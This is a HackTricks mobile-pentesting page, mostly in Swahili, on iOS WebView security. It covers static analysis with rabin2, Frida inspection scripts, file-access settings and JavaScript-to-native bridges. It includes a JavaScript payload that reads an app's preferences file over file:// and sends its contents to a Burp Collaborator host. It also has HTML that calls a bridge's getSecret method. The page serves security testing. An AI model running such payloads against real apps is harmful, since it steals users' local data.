iOS WebViews

Support HackTricks

The code of this page was extracted from here. Check the page for further details.

WebViews types

WebViews zinatumika ndani ya programu kuonyesha maudhui ya wavuti kwa njia ya mwingiliano. Aina mbalimbali za WebViews hutoa kazi tofauti na vipengele vya usalama kwa programu za iOS. Hapa kuna muhtasari mfupi:

  • UIWebView, ambayo haitashauriwa tena kuanzia iOS 12 kwa sababu ya ukosefu wa msaada wa kuzima JavaScript, na kuifanya iwe hatarini kwa kuingizwa kwa script na mashambulizi ya Cross-Site Scripting (XSS).

  • WKWebView ni chaguo linalopendekezwa kwa kuingiza maudhui ya wavuti katika programu, ikitoa udhibiti ulioimarishwa juu ya maudhui na vipengele vya usalama. JavaScript imewezeshwa kwa default, lakini inaweza kuzimwa ikiwa inahitajika. Pia inasaidia vipengele vya kuzuia JavaScript kufungua madirisha kiotomatiki na kuhakikisha kuwa maudhui yote yanapakiwa kwa usalama. Zaidi ya hayo, usanifu wa WKWebView hupunguza hatari ya uharibifu wa kumbukumbu kuathiri mchakato mkuu wa programu.

  • SFSafariViewController inatoa uzoefu wa kawaida wa kuvinjari wavuti ndani ya programu, inayotambulika kwa mpangilio wake maalum ikiwa ni pamoja na uwanja wa anwani wa kusoma tu, vitufe vya kushiriki na urambazaji, na kiungo cha moja kwa moja kufungua maudhui katika Safari. Tofauti na WKWebView, JavaScript haiwezi kuzimwa katika SFSafariViewController, ambayo pia inashiriki vidakuzi na data na Safari, ikihifadhi faragha ya mtumiaji kutoka kwa programu. Inapaswa kuonyeshwa kwa wazi kulingana na miongozo ya Duka la Programu.

// Example of disabling JavaScript in WKWebView:
WKPreferences *preferences = [[WKPreferences alloc] init];
preferences.javaScriptEnabled = NO;
WKWebViewConfiguration *config = [[WKWebViewConfiguration alloc] init];
config.preferences = preferences;
WKWebView *webView = [[WKWebView alloc] initWithFrame:CGRectZero configuration:config];

WebViews Configuration Exploration Summary

Static Analysis Overview

Katika mchakato wa kuchunguza mipangilio ya WebViews, aina mbili kuu zinazingatiwa: UIWebView na WKWebView. Ili kubaini WebViews hizi ndani ya binary, amri zinatumika, zikitafuta marejeleo maalum ya darasa na mbinu za kuanzisha.

  • UIWebView Identification

$ rabin2 -zz ./WheresMyBrowser | egrep "UIWebView$"

Hii amri inasaidia katika kutafuta matukio ya UIWebView kwa kutafuta nyuzi za maandiko zinazohusiana nayo katika binary.

  • Utambuzi wa WKWebView

$ rabin2 -zz ./WheresMyBrowser | egrep "WKWebView$"

Vivyo hivyo, kwa WKWebView, amri hii inatafuta kwenye binary kwa maandiko yanayoashiria matumizi yake.

Zaidi ya hayo, ili kupata jinsi WKWebView inavyoanzishwa, amri ifuatayo inatekelezwa, ikilenga saini ya njia inayohusiana na uanzishaji wake:

$ rabin2 -zzq ./WheresMyBrowser | egrep "WKWebView.*frame"

JavaScript Configuration Verification

Kwa WKWebView, inasisitizwa kwamba kuzima JavaScript ni njia bora isipokuwa inahitajika. Binafsi iliyokusanywa inatafutwa ili kuthibitisha kwamba mali ya javaScriptEnabled imewekwa kuwa false, kuhakikisha kwamba JavaScript imezimwa:

$ rabin2 -zz ./WheresMyBrowser | grep -i "javascriptenabled"

Tu Thibitisho la Maudhui Salama Pekee

WKWebView inatoa uwezo wa kubaini masuala ya maudhui mchanganyiko, tofauti na UIWebView. Hii inakaguliwa kwa kutumia mali ya hasOnlySecureContent ili kuhakikisha rasilimali zote za ukurasa zinapakiwa kupitia muunganisho salama. Utafutaji katika binary iliyokusanywa unafanywa kama ifuatavyo:

$ rabin2 -zz ./WheresMyBrowser | grep -i "hasonlysecurecontent"

Uchambuzi wa Kineti

Uchambuzi wa kineti unahusisha kukagua heap kwa ajili ya mifano ya WebView na mali zao. Skripti inayoitwa webviews_inspector.js inatumika kwa kusudi hili, ikilenga mifano ya UIWebView, WKWebView, na SFSafariViewController. Inarekodi taarifa kuhusu mifano iliyopatikana, ikiwa ni pamoja na URLs na mipangilio inayohusiana na JavaScript na maudhui salama.

Ukaguzi wa heap unaweza kufanywa kwa kutumia ObjC.choose() ili kubaini mifano ya WebView na kuangalia mali za javaScriptEnabled na hasonlysecurecontent.

webviews_inspector.js
ObjC.choose(ObjC.classes['UIWebView'], {
onMatch: function (ui) {
console.log('onMatch: ', ui);
console.log('URL: ', ui.request().toString());
},
onComplete: function () {
console.log('done for UIWebView!');
}
});

ObjC.choose(ObjC.classes['WKWebView'], {
onMatch: function (wk) {
console.log('onMatch: ', wk);
console.log('URL: ', wk.URL().toString());
},
onComplete: function () {
console.log('done for WKWebView!');
}
});

ObjC.choose(ObjC.classes['SFSafariViewController'], {
onMatch: function (sf) {
console.log('onMatch: ', sf);
},
onComplete: function () {
console.log('done for SFSafariViewController!');
}
});

ObjC.choose(ObjC.classes['WKWebView'], {
onMatch: function (wk) {
console.log('onMatch: ', wk);
console.log('javaScriptEnabled:', wk.configuration().preferences().javaScriptEnabled());
}
});

ObjC.choose(ObjC.classes['WKWebView'], {
onMatch: function (wk) {
console.log('onMatch: ', wk);
console.log('hasOnlySecureContent: ', wk.hasOnlySecureContent().toString());
}
});

Script inatekelezwa na:

frida -U com.authenticationfailure.WheresMyBrowser -l webviews_inspector.js

Matokeo Muhimu:

  • Mifano ya WebViews imefanikiwa kupatikana na kukaguliwa.

  • Uthibitishaji wa kuwezesha JavaScript na mipangilio ya maudhui salama umefanywa.

Muhtasari huu unajumuisha hatua muhimu na amri zinazohusika katika kuchambua usanidi wa WebView kupitia mbinu za statiki na za dinamik, zikilenga kwenye vipengele vya usalama kama kuwezesha JavaScript na kugundua maudhui mchanganyiko.

Usimamizi wa Itifaki ya WebView

Kushughulikia maudhui katika WebViews ni kipengele muhimu, hasa linapokuja suala la itifaki mbalimbali kama http(s)://, file://, na tel://. Itifaki hizi zinawezesha upakiaji wa maudhui ya mbali na ya ndani ndani ya programu. Inasisitizwa kwamba wakati wa kupakia maudhui ya ndani, tahadhari lazima ichukuliwe ili kuzuia watumiaji kuathiri jina la faili au njia na kutoka kuhariri maudhui yenyewe.

WebViews hutoa mbinu tofauti za upakiaji wa maudhui. Kwa UIWebView, ambayo sasa imeondolewa, mbinu kama loadHTMLString:baseURL: na loadData:MIMEType:textEncodingName:baseURL: zinatumika. WKWebView, kwa upande mwingine, inatumia loadHTMLString:baseURL:, loadData:MIMEType:textEncodingName:baseURL:, na loadRequest: kwa maudhui ya wavuti. Mbinu kama pathForResource:ofType:, URLForResource:withExtension:, na init(contentsOf:encoding:) kwa kawaida hutumiwa kwa upakiaji wa faili za ndani. Mbinu loadFileURL:allowingReadAccessToURL: inajulikana hasa kwa uwezo wake wa kupakia URL au saraka maalum ndani ya WebView, ambayo inaweza kufichua data nyeti ikiwa saraka imeainishwa.

Ili kupata mbinu hizi katika msimbo wa chanzo au binary iliyokusanywa, amri kama ifuatayo zinaweza kutumika:

$ rabin2 -zz ./WheresMyBrowser | grep -i "loadHTMLString"
231 0x0002df6c 24 (4.__TEXT.__objc_methname) ascii loadHTMLString:baseURL:

Kuhusu file access, UIWebView inaruhusu kwa ujumla, wakati WKWebView inaanzisha mipangilio ya allowFileAccessFromFileURLs na allowUniversalAccessFromFileURLs kwa ajili ya kudhibiti ufikiaji kutoka kwa URL za faili, ambapo zote ni za uongo kwa chaguo-msingi.

Mfano wa skripti ya Frida unatolewa ili kukagua mipangilio ya WKWebView kwa ajili ya mipangilio ya usalama:

ObjC.choose(ObjC.classes['WKWebView'], {
onMatch: function (wk) {
console.log('onMatch: ', wk);
console.log('URL: ', wk.URL().toString());
console.log('javaScriptEnabled: ', wk.configuration().preferences().javaScriptEnabled());
console.log('allowFileAccessFromFileURLs: ',
wk.configuration().preferences().valueForKey_('allowFileAccessFromFileURLs').toString());
console.log('hasOnlySecureContent: ', wk.hasOnlySecureContent().toString());
console.log('allowUniversalAccessFromFileURLs: ',
wk.configuration().valueForKey_('allowUniversalAccessFromFileURLs').toString());
},
onComplete: function () {
console.log('done for WKWebView!');
}
});

Lastly, mfano wa JavaScript payload unaolenga kuhamasisha faili za ndani unaonyesha hatari ya usalama inayoweza kutokea kutokana na WebViews zisizofanywa vizuri. Huu payload unachakata maudhui ya faili katika muundo wa hex kabla ya kuyatumia kwa seva, ukisisitiza umuhimu wa hatua kali za usalama katika utekelezaji wa WebView.

String.prototype.hexEncode = function(){
var hex, i;
var result = "";
for (i=0; i<this.length; i++) {
hex = this.charCodeAt(i).toString(16);
result += ("000"+hex).slice(-4);
}
return result
}

var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if (xhr.readyState == XMLHttpRequest.DONE) {
var xhr2 = new XMLHttpRequest();
xhr2.open('GET', 'http://187e2gd0zxunzmb5vlowsz4j1a70vp.burpcollaborator.net/'+xhr.responseText.hexEncode(), true);
xhr2.send(null);
}
}
xhr.open('GET', 'file:///var/mobile/Containers/Data/Application/ED4E0AD8-F7F7-4078-93CC-C350465048A5/Library/Preferences/com.authenticationfailure.WheresMyBrowser.plist', true);
xhr.send(null);

Mbinu za Asili Zinazofichuliwa Kupitia WebViews

Kuelewa Interfaces za Asili za WebView katika iOS

Kuanzia iOS 7 na kuendelea, Apple ilitoa APIs kwa mawasiliano kati ya JavaScript katika WebView na asili Swift au Objective-C vitu. Uunganisho huu unafanywa hasa kupitia mbinu mbili:

  • JSContext: Kazi ya JavaScript inaundwa kiotomatiki wakati block ya Swift au Objective-C inapounganishwa na kitambulisho ndani ya JSContext. Hii inaruhusu uunganisho na mawasiliano yasiyo na mshono kati ya JavaScript na msimbo wa asili.

  • JSExport Protocol: Kwa kurithi protokali ya JSExport, mali za asili, mbinu za mfano, na mbinu za darasa zinaweza kufichuliwa kwa JavaScript. Hii inamaanisha kwamba mabadiliko yoyote yaliyofanywa katika mazingira ya JavaScript yanaakisiwa katika mazingira ya asili, na kinyume chake. Hata hivyo, ni muhimu kuhakikisha kuwa data nyeti haifichuliwi bila kukusudia kupitia mbinu hii.

Kufikia JSContext katika Objective-C

Katika Objective-C, JSContext kwa UIWebView inaweza kupatikana kwa mstari ufuatao wa msimbo:

[webView valueForKeyPath:@"documentView.webView.mainFrame.javaScriptContext"]

Communication with WKWebView

Kwa WKWebView, ufikiaji wa moja kwa moja kwa JSContext haupatikani. Badala yake, upitishaji ujumbe unatumika kupitia kazi ya postMessage, ikiruhusu mawasiliano kati ya JavaScript na asili. Watoa huduma kwa ujumbe hawa wamewekwa kama ifuatavyo, ikiruhusu JavaScript kuingiliana na programu ya asili kwa usalama:

func enableJavaScriptBridge(_ enabled: Bool) {
options_dict["javaScriptBridge"]?.value = enabled
let userContentController = wkWebViewConfiguration.userContentController
userContentController.removeScriptMessageHandler(forName: "javaScriptBridge")

if enabled {
let javaScriptBridgeMessageHandler = JavaScriptBridgeMessageHandler()
userContentController.add(javaScriptBridgeMessageHandler, name: "javaScriptBridge")
}
}

Interaction and Testing

JavaScript inaweza kuingiliana na safu asilia kwa kufafanua mpangilio wa ujumbe wa skripti. Hii inaruhusu operesheni kama vile kuita kazi za asili kutoka kwa ukurasa wa wavuti:

function invokeNativeOperation() {
value1 = document.getElementById("value1").value
value2 = document.getElementById("value2").value
window.webkit.messageHandlers.javaScriptBridge.postMessage(["multiplyNumbers", value1, value2]);
}

// Alternative method for calling exposed JavaScript functions
document.location = "javascriptbridge://addNumbers/" + 1 + "/" + 2

Ili kukamata na kubadilisha matokeo ya wito wa kazi asilia, mtu anaweza kubadilisha kazi ya kurudi ndani ya HTML:

<html>
<script>
document.location = "javascriptbridge://getSecret"
function javascriptBridgeCallBack(name, result) {
alert(result);
}
</script>
</html>

Sehemu ya asili inashughulikia wito wa JavaScript kama inavyoonyeshwa katika darasa la JavaScriptBridgeMessageHandler, ambapo matokeo ya operesheni kama vile kuzidisha nambari yanashughulikiwa na kutumwa nyuma kwa JavaScript kwa ajili ya kuonyeshwa au usindikaji zaidi:

class JavaScriptBridgeMessageHandler: NSObject, WKScriptMessageHandler {
// Handling "multiplyNumbers" operation
case "multiplyNumbers":
let arg1 = Double(messageArray[1])!
let arg2 = Double(messageArray[2])!
result = String(arg1 * arg2)
// Callback to JavaScript
let javaScriptCallBack = "javascriptBridgeCallBack('\(functionFromJS)','\(result)')"
message.webView?.evaluateJavaScript(javaScriptCallBack, completionHandler: nil)
}

Debugging iOS WebViews

(Tutorial based on the one from https://blog.vuplex.com/debugging-webviews)

Ili kufanikisha ufuatiliaji wa maudhui ya wavuti ndani ya iOS webviews, inahitajika mipangilio maalum inayohusisha zana za maendeleo za Safari kwa sababu ujumbe unaotumwa kwa console.log() hauonyeshwi katika kumbukumbu za Xcode. Hapa kuna mwongozo rahisi, ukisisitiza hatua na mahitaji muhimu:

  • Maandalizi kwenye Kifaa cha iOS: Mchunguzi wa Wavuti wa Safari unahitaji kuwezeshwa kwenye kifaa chako cha iOS. Hii inafanywa kwa kwenda Settings > Safari > Advanced, na kuwezesha Web Inspector.

  • Maandalizi kwenye Kifaa cha macOS: Kwenye mashine yako ya maendeleo ya macOS, lazima uwezeshe zana za maendeleo ndani ya Safari. Fungua Safari, upate Safari > Preferences > Advanced, na chagua chaguo la Show Develop menu.

  • Muunganisho na Ufuatiliaji: Baada ya kuunganisha kifaa chako cha iOS na kompyuta yako ya macOS na kuzindua programu yako, tumia Safari kwenye kifaa chako cha macOS kuchagua webview unayotaka kufuatilia. Tembea hadi Develop kwenye menyu ya Safari, piga juu ya jina la kifaa chako cha iOS ili kuona orodha ya matukio ya webview, na chagua tukio unalotaka kukagua. Dirisha jipya la Mchunguzi wa Wavuti wa Safari litafunguliwa kwa ajili ya hili.

Hata hivyo, kuwa makini na mipaka:

  • Ufuatiliaji kwa njia hii unahitaji kifaa cha macOS kwani inategemea Safari.

  • Ni webviews pekee katika programu zilizopakiwa kwenye kifaa chako kupitia Xcode zinazostahili kufuatiliwa. Webviews katika programu zilizowekwa kupitia Duka la Programu au Mkononi wa Apple cannot be debugged in this manner.

References

Support HackTricks

Last updated